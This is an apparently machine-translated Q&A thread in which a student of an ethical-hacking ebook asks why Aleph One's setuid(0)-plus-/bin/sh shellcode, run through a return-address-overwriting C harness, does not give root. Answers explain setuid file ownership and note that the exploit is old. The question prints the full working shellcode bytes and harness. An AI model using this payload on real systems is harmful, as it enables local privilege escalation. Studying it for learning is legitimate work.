0

我正在关注这本关于道德黑客的电子书,我到达了 Linux Exploit Chapter,这是 Aleph 的 1 代码的代码。

//shellcode.c

char shellcode[] = //setuid(0) & Aleph1's famous shellcode, see ref.

"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0) first

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main() { //main function

    int *ret; //ret pointer for manipulating saved return.

    ret = (int *)&ret + 2; //setret to point to the saved return

    //value on the stack.

    (*ret) = (int)shellcode; //change the saved return value to the

    //address of the shellcode, so it executes.

}

我给这个超级用户权限,

chmod u+s shellcode

作为超级用户,然后回到普通用户

su - normal_user

但是当我运行时,./shellcode我应该是 root 用户,但我仍然是 normal_user,所以有什么帮助吗?顺便说一句,我正在研究 BT4-Final,我关闭了 ASLR,并在 VMWare 中运行 BT4 ......

4

5 回答 5

8

如果这是一个古老的漏洞......它不应该早就被修复了吗?

顺便说一句,作为个人建议:不要那么蹩脚地使用那个昵称,然后到处询问漏洞。

掌心

于 2010-05-07T16:55:57.297 回答
6

可执行文件是否shellcode由 root 拥有?setuid 位 (u+s) 使可执行文件以其所有者的权限运行,所有者不一定是 root。

于 2010-05-07T16:53:18.337 回答
0

好吧,setuid() 改变了当前运行程序的用户。您的 Shell 仍将在您的普通用户下运行!:)

要么,要么我不明白这个黑客的目的。

于 2010-05-07T16:53:26.217 回答
0

认为setuid 仅在程序运行时将 uid 设置为 0。你可以在 shellcode 运行时执行一些操作来检查 UID 吗?

于 2010-05-07T16:54:48.923 回答
0

如果我猜对了,您正在执行的代码 (setuid(0)) 是一个系统调用,它将当前用户更改为root。问题是它正在更改该进程的当前用户 ID,赋予该进程 root 权限。如果它正常工作,您可以使用 root 权限运行任何东西。

要对其进行测试,请使用根创建一个文件或目录,确保您不能以简单用户身份将其删除,然后尝试将代码添加到删除该文件的可执行文件中。如果代码正常工作,则应删除该文件。

然后,为了获得 root 权限,尝试从您的程序中 fork 到一个新的 shell。不过,我不确定这是否可能。

...但是,这是一个古老的漏洞。旧内核可能对此持开放态度,但使用任何最新版本都不会做任何事情。

更新:我刚刚重新阅读了代码并意识到对 shell 的调用在那里(/bin/sh),所以你已经分叉到一个假定的超级用户 shell。要检查它是否实际工作,请在调用前后查看你的 shell 的 PID。如果它已经改变,退出shell,你应该回到之前的PID。这意味着(1)它起作用了,您操纵了堆栈并在那里执行了该代码,并且(2)漏洞被修复并且内核阻止您获得访问权限。

于 2010-05-07T17:03:01.467 回答